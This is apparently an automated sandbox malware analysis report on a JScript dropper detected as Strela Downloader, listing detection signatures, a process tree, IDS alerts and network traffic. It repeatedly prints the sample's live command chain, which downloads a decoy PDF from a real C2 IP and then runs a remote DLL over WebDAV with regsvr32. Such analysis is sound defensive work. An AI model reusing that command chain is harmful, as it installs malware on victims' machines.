Edit tour

Windows Analysis Report
3274215974163975076.js

Overview

General Information

Sample name:	3274215974163975076.js
Analysis ID:	1588981
MD5:	7985b50b46c53c40583ab02ec8cb29d7
SHA1:	158d158c22128d153da632be4a4fe35d0c0f5082
SHA256:	644231069b7647635b343ebefc0dcf492eecb759c360cd2a079ae00f433fef84
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7148 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3660 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6704 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3984 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5716 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1548,i,6986894706636841504,16957062876485416370,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3700 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5676 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7148	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6704, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6704, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ProcessId: 7148, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5676, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 3660, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ProcessId: 7148, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3660, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6704, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3700, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5676, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3700, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5676, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3274215974163975076.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7148, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll, ProcessId: 3660, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:59:01.643704+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:59:04.231521+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:59:01.643704+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3274215974163975076.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3274215974163975076.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49712 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:59:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
